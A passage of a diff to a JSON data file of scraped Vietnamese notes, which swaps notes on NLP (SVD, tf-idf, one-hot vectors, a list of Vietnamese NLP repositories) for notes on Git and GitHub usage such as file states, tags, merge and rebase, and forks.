\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aM" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e5" }, { - "Tiêu đề": "SVD ban đầu là để tìm ra một phép xoay không gian mà vẫn giữ nguyên tích vô hướng của các vector", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/SVD ban đầu là để tìm ra một phép xoay không gian mà vẫn giữ nguyên tích vô hướng của các vector", + "Tiêu đề": "Untracked, staged, unchanged và unstaged là 4 trạng thái chính của một file", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/Stage, index, cache/Untracked, staged, unchanged và unstaged là 4 trạng thái chính của một file", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Từ mối liên hệ này khái niệm về ma trận trực giao đã hình thành để tạo ra các phép xoay đặc biệt.\r\n\r\nPhương pháp SVD sẽ tìm ra một lớp các ma trận xấp xỉ tốt nhất với một ma trận cho trước dựa trên khoảng cách norm Frobenios giữa 2 ma trận. Người ta đã chứng minh được rằng ma trận xấp xỉ tốt nhất được biểu diễn dưới dạng tích của 3 ma trận rất đặc biệt bao gồm 2 _ma trận trực giao_ (orthogonal matrix) và 1 _ma trận đường chéo_ (diagonal matrix). Quá trình nhân ma trận thực chất là quá trình biến đổi các điểm dữ liệu của ma trận gốc thông qua những phép xoay trục (rotation) và phép thay đổi độ lớn (scaling) và từ đó tạo ra những điểm dữ liệu mới trong không gian mới. Điều đặc biệt của ma trận đường chéo đó là các phần tử của nó chính là những giá trị riêng của ma trận gốc. Những điểm dữ liệu trong không gian mới có thể giữ được 100% thông tin ban đầu hoặc chỉ giữ một phần lớn thông tin của dữ liệu ban đầu thông qua các phép truncate SVD. Bằng cách sắp xếp các trị riêng theo thứ tự giảm dần trên đường chéo chính thuật toán SVD có thể thu được ma trận xấp xỉ tốt nhất mà vẫn đảm bảo giảm được hạng của ma trận sau biến đổi và kích thước các ma trận nhân tử nằm trong giới hạn cho phép. Do đó nó tiết kiệm được thời gian và chi phí tính toán và đồng thời cũng tìm ra được một giá trị dự báo cho ma trận gốc với mức độ chính xác cao.\r\n\r\nNguồn:: [[Phạm Đình Khánh]], [Singular Value Decomposition | Kaggle](https://www.kaggle.com/code/phamdinhkhanh/singular-value-decomposition/notebook)\r\n\r\nBới vì [[Độ tương đồng của hai vector chính là tích vô hướng vừa nó]], nên SVD không làm biến dạng độ tương đồng của chúng\r\n", + "Toàn bộ nội dung": "Git essentially has 4 main statuses for the files in your local repo:\r\n- **untracked:** The file is new, Git knows nothing about it. If you `git add `, it becomes:\r\n- **staged:** Now Git knows the file (tracked), but also made it part of the next commit batch (called the _index_). If you `git commit`, it becomes:\r\n- **unchanged:** The file has not changed since its last commit. If you _modify it_, it becomes:\r\n- **unstaged:** Modified but not part of the next commit yet. You can stage it again with `git add`\r\n\r\nAs you can see, a `git add` will **track** untracked files, and **stage** any file.\r\n\r\n_Also: You can untrack an uncommited file with `git rm --cached filename` and unstage a staged file with `git reset HEAD `_\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [Concept of git tracking and git staging](https://stackoverflow.com/a/15803429/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aN" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e6" }, { - "Tiêu đề": "tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản", + "Tiêu đề": "Git giúp ta du hành thời gian", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Git giúp ta du hành thời gian", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong một bộ văn bản có rất nhiều văn bản. Làm sao để xác định được độ đặc trưng của một văn bản trong đó? Thường thì ta sẽ xem những từ đặc trưng mà chỉ văn bản đó có. Những từ hiếm khi được tìm thấy trong bộ văn bản nhưng có mặt trong một văn bản cụ thể có thể quan trọng hơn.\r\n\r\nVậy làm sao để xác định được độ đặc trưng của một từ đối với một văn bản?\r\n- Từ đó xuất hiện nhiều lần trong văn bản đó\r\n- Không có nhiều văn bản chứa từ đó\r\n\r\nTức là, để có $tf\\textendash idf$ lớn thì:\r\n- Số lần từ đó trong văn bản đó xuất hiện lớn \r\n- Số văn bản chứa từ đó trong bộ văn bản nhỏ \r\n\r\nTức là:\r\n- *Tần số từ* (term frequency) lớn\r\n- Tần số văn bản nhỏ ⇔*nghịch đảo tần số văn bản* (inverse document frequency) lớn\r\n\r\nGộp cả 2 cái lại, người ta đưa ra khái niệm **term frequency–inverse document frequency** (tần số từ-nghịch đảo tần số văn bản), viết tắt là **$tf\\textendash idf$**, để xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản. Công thức tính $tf\\textendash idf$ cho từ $t$ của văn bản $d$ trong bộ văn bản như sau:\r\n$$\\begin{aligned}\r\n\r\n\\\\ tf\\textendash idf(t, d) &= tf(t, d) \\times idf(t) \r\n\\\\ &= tf(t, d) \\times \\log\\frac{N}{df(d)}\r\n\\end{aligned}$$\r\n\r\n- Nếu $df(d)=N$, từ $t$ xuất hiện trong tất cả các văn bản. Nó trở nên quá đại trà, chung chung. $tf\\textendash idf = 0$\r\n\r\n%%\r\nDo đó cần tăng trọng số của các nhóm từ ngữ để tách chúng ra khỏi các từ phổ biến.\r\nNgoài ra, nếu văn bản nào cũng chứa từ đó nghĩa là từ đó là một từ đại trà, không có ý nghĩa gì. Vậy thì *$tf\\textendash idf$ của nó nên bằng $0$ khi tần số văn bản bằng tổng số văn bản trong bộ văn bản*.\r\n%%\r\n", + "Toàn bộ nội dung": "[[Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aO" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e7" }, { - "Tiêu đề": "tf-idf mạnh hơn count vector", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/tf-idf mạnh hơn count vector", + "Tiêu đề": "Git tag", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Git tag", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "## Liệt kê tất cả các tag\n```PowerShell\n# Liệt kê tất cả các tag, xếp theo bảng chữ cái\ngit tag -l\n\n# Liệt kê tất cả các tag và commit nó gắn vào, xếp theo bảng chữ cái và thời gian\ngit tag -n \n\n# Lấy tag mới nhất và commit của nó\ngit tag -n --sort=-creatordate | select -first 1\n```\n## Xoá tag\n```PowerShell\n# delete local tag '12345'\ngit tag -d 12345\n\n# delete remote tag '12345' (eg, GitHub version too)\ngit push origin :refs/tags/12345\n\n# alternative approach\ngit push --delete origin tagName\ngit tag -d tagName\n```\nNguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aP" + "Ngày cập nhật": "2024-09-09T07:07:00.000Z", + "id": "e8" }, { - "Tiêu đề": "Mô hình trích chọn từ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình trích chọn từ", + "Tiêu đề": "Git", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n[GitHub Skills](https://skills.github.com/)\n![15 Lazygit Features In Under 15 Minutes - YouTube](https://www.youtube.com/watch?v=CPLdltN7wgE)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aQ" + "Ngày tạo": "2024-01-27T06:38:00.000Z", + "Ngày cập nhật": "2024-09-01T11:00:00.000Z", + "id": "e9" }, { - "Tiêu đề": "Phân tích xu hướng, NLP", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Phân tích xu hướng, NLP", + "Tiêu đề": "Bấm dấu . để mở VS Code web ngay trên GitHub", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Bấm dấu . để mở VS Code web ngay trên GitHub", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Danh sách các repo trên GitHub có tag `nlp` và `vietnamese`\n- [undertheseanlp/underthesea](https://github.com/undertheseanlp/underthesea.git)\n- [vncorenlp/VnCoreNLP](https://github.com/vncorenlp/VnCoreNLP.git)\n- [undertheseanlp/chatbot](https://github.com/undertheseanlp/chatbot.git)\n- [undertheseanlp/automatic_speech_recognition](https://github.com/undertheseanlp/automatic_speech_recognition.git)\n- [undertheseanlp/word_tokenize](https://github.com/undertheseanlp/word_tokenize.git)\n- [anhthuan1999/Vietnamese-News-Classification](https://github.com/anhthuan1999/Vietnamese-News-Classification.git)\n- [ngockhanh5110/nlp-vietnamese-text-summarization](https://github.com/ngockhanh5110/nlp-vietnamese-text-summarization.git)\n- [henryle97/Spelling_Correction_Vietnamese](https://github.com/henryle97/Spelling_Correction_Vietnamese.git)\n- [pbcquoc/vietnamese_word_seperate](https://github.com/pbcquoc/vietnamese_word_seperate.git)\n- [undertheseanlp/sentiment](https://github.com/undertheseanlp/sentiment.git)\n- [undertheseanlp/pos_tag](https://github.com/undertheseanlp/pos_tag.git)\n- [undertheseanlp/speech_classification](https://github.com/undertheseanlp/speech_classification.git)\n- [undertheseanlp/chunking](https://github.com/undertheseanlp/chunking.git)\n- [undertheseanlp/sent_tokenize](https://github.com/undertheseanlp/sent_tokenize.git)\n- [congphase/img-captioning-in-vietnamese](https://github.com/congphase/img-captioning-in-vietnamese.git)\n- [matbahasa/ProSub](https://github.com/matbahasa/ProSub.git)\n- [letuananh/chirptext](https://github.com/letuananh/chirptext.git)\n- [bmd1905/vietnamese-correction](https://github.com/bmd1905/vietnamese-correction.git)\n- [duongntbk/restore_vietnamese_diacritics](https://github.com/duongntbk/restore_vietnamese_diacritics.git)\n- [longday1102/Demo-QA-Extraction-system](https://github.com/longday1102/Demo-QA-Extraction-system.git)\n- [nhtlongcs/shopee-reviews-sentiment-analysis](https://github.com/nhtlongcs/shopee-reviews-sentiment-analysis.git)\n- [baodv1001/TrendBot](https://github.com/baodv1001/TrendBot.git)\n- [nguyenhuuthuat09/VLSP2020_Relation_Extraction](https://github.com/nguyenhuuthuat09/VLSP2020_Relation_Extraction.git)\n- [hugo53/HUsyntactic](https://github.com/hugo53/HUsyntactic.git)\n- [VFND/VMDS-vietnamese-misspell-dataset-from-Social-media](https://github.com/VFND/VMDS-vietnamese-misspell-dataset-from-Social-media.git)\n- [anssssss/Vietnamese-Speech-Recognition](https://github.com/anssssss/Vietnamese-Speech-Recognition.git)\n- [vega-ai/vietr](https://github.com/vega-ai/vietr.git)\n- [undertheseanlp/lang_detect](https://github.com/undertheseanlp/lang_detect.git)\n- [undertheseanlp/word_embeddings](https://github.com/undertheseanlp/word_embeddings.git)\n- [congnghia0609/ntc-vntok](https://github.com/congnghia0609/ntc-vntok.git)\n\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-02T08:01:00.000Z", - "id": "aR" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eA" }, { - "Tiêu đề": "Tổng quan về mô hình chủ đề", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Tổng quan về mô hình chủ đề", + "Tiêu đề": "GitHub Page không nhận ra các thư mục có dash phía trước, chỉ đọc được trong docs", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/GitHub Page không nhận ra các thư mục có dash phía trước, chỉ đọc được trong docs", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[HỒ TRUNG THÀNH, PHÂN TÍCH MẠNG Xà HỘI DỰA THEO MÔ HÌNH CHỦ ĐỀ VÀ ỨNG DỤNG](https://sdh.uit.edu.vn/sites/default/files/201711/3_-_tom_tat_luan_an_-_ho_trung_thanh_-_20112017.pdf)\r\n\r\n[PHÂN TÍCH MẠNG Xà HỘI THEO CHỦ ĐỀ VÀ ỨNG DỤNG VÀO CÔNG TÁC TƯ VẤN HỌC TẬP CHO SINH VIÊN (PHÂN TÍCH MẠNG Xà HỘI DỰA THEO MÔ HÌNH CHỦ ĐỀ VÀ ỨNG DỤNG)](https://sdh.uit.edu.vn/sites/default/files/201510/slide_bao_cao_hoc_thuat_-_lan_1_-_ho_trung_thanh.pdf)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aS" + "Ngày cập nhật": "2024-09-01T09:33:00.000Z", + "id": "eB" }, { - "Tiêu đề": "Tổng quan về xử lý tiếng Việt", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Tổng quan về xử lý tiếng Việt", + "Tiêu đề": "Template và fork", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Template và fork", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Hồ Tú Bảo, Lương Chi Mai, 2005, Về xử lý tiếng Việt trong công nghệ thông tin](http://www.jaist.ac.jp/~bao/Writings/VLSPwhitepaper%20-%20Final.pdf)\r\n", + "Toàn bộ nội dung": "| | Template | Fork |\r\n| -------------------------------------------------- | ------------------------------ | --------------------------------------------------------- |\r\n| Commit history | Starts with a single commit | Includes entire commit history of the parent repository |\r\n| Do commit to it appear in your contribution graph? | Yes | No |\r\n| Purpose | To start a new project quickly | A temporary way to contribute code to an existing project |\r\n\r\n- A new fork includes the entire commit history of the parent repository, while a repository created from a template starts with a single commit.\r\n- Commits to a fork don't appear in your contributions graph, while commits to a repository created from a template do appear in your contribution graph.\r\n- A fork can be a temporary way to contribute code to an existing project, while creating a repository from a template starts a new project quickly.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aT" + "Ngày tạo": "2023-10-10T13:51:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eC" }, { - "Tiêu đề": "Bộ từ trong dictionary sẽ quyết định bộ vector", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Bộ từ trong dictionary sẽ quyết định bộ vector", + "Tiêu đề": "Tạo nhánh mới khi tạo PR sẽ dễ quản lý hơn", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Tạo nhánh mới khi tạo PR sẽ dễ quản lý hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \r\n", + "Toàn bộ nội dung": "By not creating a branch and putting the PR in to the default branch (`main`, `master` or whatever), you run the risk that it will be very difficult to add later commits to your fork, or get new changes from the parent repo.\n\nFor example, these problems would happen if the PR was declined. It could also happen if the maintainer squashed the changes.\nNguồn:: [add Obsidian Plugin Stats webapp by ooker777 · Pull Request #729 · obsidian-community/obsidian-hub · GitHub](https://github.com/obsidian-community/obsidian-hub/pull/729#issuecomment-2327270585)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aU" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-04T08:33:00.000Z", + "id": "eD" }, { - "Tiêu đề": "Túi từ không phân biệt được những câu có cùng các từ bởi nó không phân biệt thứ tự trước sau của các từ trong một câu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Túi từ không phân biệt được những câu có cùng các từ bởi nó không phân biệt thứ tự trước sau của các từ trong một câu", + "Tiêu đề": "Website GitHub là cách để teamview máy của GitHub", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Website GitHub là cách để teamview máy của GitHub", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chẳng hạn như \r\n> you have no dog\r\n\r\nvà\r\n> no, you have dog\r\n\r\nlà 2 câu văn có biểu diễn giống nhau mặc dù có ý nghĩa trái ngược nhau. Chính vì thế phương pháp N-gram sẽ được sử dụng thay thế.\r\nNguồn:: [[Phạm Đình Khánh]], [Kĩ thuật feature engineering](https://phamdinhkhanh.github.io/2019/01/07/Ky_thuat_feature_engineering.html)\r\n", + "Toàn bộ nội dung": "Tức là bạn điều khiển Git trên máy của họ từ xa\n\nNguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aV" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-04T08:36:00.000Z", + "id": "eE" }, { - "Tiêu đề": "Việc biểu diễn các từ dưới dạng các vector one-hot chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Việc biểu diễn các từ dưới dạng các vector one-hot chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ", + "Tiêu đề": "Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do: : Giá trị của một từ đến từ vị trí tương đối giữa các từ với nhau (ngữ cảnh) và ngữ nghĩa, chứ không phải theo thứ tự từ điển đầu vào\r\n\r\n# Các hạn chế khác của one-hot vector\r\nSau khi biểu diễn từ dưới dạng one-hot véc tơ, mô hình đã có thể huấn luyện được từ dữ liệu được mã hóa. Tuy nhiên dữ liệu này chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ. Các hạn chế đó là:\r\n\r\n1. Mối quan hệ tương quan giữa các cặp từ bất kì luôn là không tương quan (tức bằng 0). Do đó không có tác dụng trong việc tìm mối liên hệ về nghĩa.\r\n2. Kích thước của véc tơ sẽ phụ thuộc vào số lượng từ vựng có trong bộ văn bản dẫn đến chi phí tính toán rất lớn khi tập dữ liệu lớn.\r\n3. Khi bổ sung thêm các từ vựng mới số chiều của véc tơ có thể thay đổi theo dẫn đến sự không ổn định trong shape.\r\n\r\nDo đó các thuật toán nhúng từ được tạo ra nhằm mục đích tìm ra các véc tơ đại diện cho mỗi từ sao cho:\r\n\r\n1. Một từ được biểu diễn bởi một véc tơ có số chiều xác định trước.\r\n2. Các từ thuộc cùng 1 nhóm thì có khoảng cách gần nhau trong không gian.\r\n\r\nCó nhiều phương pháp nhúng từ khác nhau có thể kể đến. Trong đó có 3 nhóm chính:\r\n\r\n1. Sử dụng thống kê tần xuất: tfidf\r\n2. Các thuật toán giảm chiều dữ liệu: SVD, PCA, auto encoder, word2vec\r\n3. Phương pháp sử dụng mạng nơ ron: word2vec, ELMo, BERT.\r\n\r\nNguồn:: [[Phạm Đình Khánh]], [Mô hình Word2Vec](https://phamdinhkhanh.github.io/2019/04/29/ModelWord2Vec.html)\r\n", + "Toàn bộ nội dung": "[[Git mở ra nhiều khả thể trong việc hợp tác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aW" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eF" }, { - "Tiêu đề": "Việc vector hoá các văn bản là để máy tính có thể xử lý được", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Việc vector hoá các văn bản là để máy tính có thể xử lý được", + "Tiêu đề": "Khi merge, ours là branch hiện tại. Khi rebase, theirs là branch hiện tại", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/Khi merge, ours là branch hiện tại. Khi rebase, theirs là branch hiện tại", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Sau khi vector hoá xong ta mới có thể mô hình hoá chúng. [[Mô hình bản chất là một phép biến đổi không gian vector]] \r\n\r\n\r\n![](https://storage.googleapis.com/gweb-cloudblog-publish/images/image4_fUvNRO7.max-800x800.png) \r\n[Meet AI’s multitool: Vector embeddings | Google Cloud Blog](https://cloud.google.com/blog/topics/developers-practitioners/meet-ais-multitool-vector-embeddings)\r\n[Embedding projector - visualization of high-dimensional data](https://projector.tensorflow.org/)\r\n", + "Toàn bộ nội dung": "Khi merge là lấy commit từ branch khác về branch hiện tại\r\n```\r\n# Xem branch hiện tại\r\n$ git branch\r\n* branch-a\r\n\r\n# Nếu là merge thì branch-a là ours\r\n$ git merge -X ours branch-b \r\n\r\n# Nếu là rebase thì branch-a là theirs\r\n$ git rebase -X theirs branch-b\r\n```\r\n\r\nCó lẽ thay vì dùng `ours` – `theirs`, ta nên dùng `current` – `theirs` cho merge, và `current` – `ours` cho rebase?", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aX" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eG" }, { - "Tiêu đề": "Độ tương đồng của hai vector chính là tích vô hướng vừa nó", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Độ tương đồng của hai vector chính là tích vô hướng vừa nó", + "Tiêu đề": "Khi viết tính năng mới nên tạo branch mới", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/Khi viết tính năng mới nên tạo branch mới", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nếu đang làm dở dang trên main rồi nhận ra từ đầu mình nên tạo branch mới thì dùng lệnh này:\r\n```\r\ngit switch -c tênBranch\r\n```\r\n\r\nTrên VS Code thì cài plugin GitLens. Xong bấm Ctrl+P, chọn `GitLens: Git Switch To...`", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aY" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eH" }, { - "Tiêu đề": "Về mặt toán học thì AI không có gì thú vị. Việc thay đổi trọng số thú vị hơn", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Về mặt toán học thì AI không có gì thú vị. Việc thay đổi trọng số thú vị hơn", + "Tiêu đề": "pull không lấy file mới về, mà lấy commit mới về", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/pull không lấy file mới về, mà lấy commit mới về", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Nguồn::\r\n[[Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aZ" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eI" }, { - "Tiêu đề": "Code chạy trên Linux hoặc WSL", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/WhatEvery1Says/Code chạy trên Linux hoặc WSL", + "Tiêu đề": "Upstream, origin là những cái tên thường dùng cho remote", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/Upstream, origin là những cái tên thường dùng cho remote", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::[Key Tools & Software – WE1S](https://we1s.ucsb.edu/research/we1s-tools-and-software/key-tools-and-software/#section1)\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-18T07:41:00.000Z", - "Ngày cập nhật": "2024-09-01T09:26:00.000Z", - "id": "aa" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "eJ" }, { - "Tiêu đề": "Collection là những sản phẩm đầu ra, bao gồm các mô hình chủ đề và minh hoạ tương tác có thể dùng trực tiếp", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, 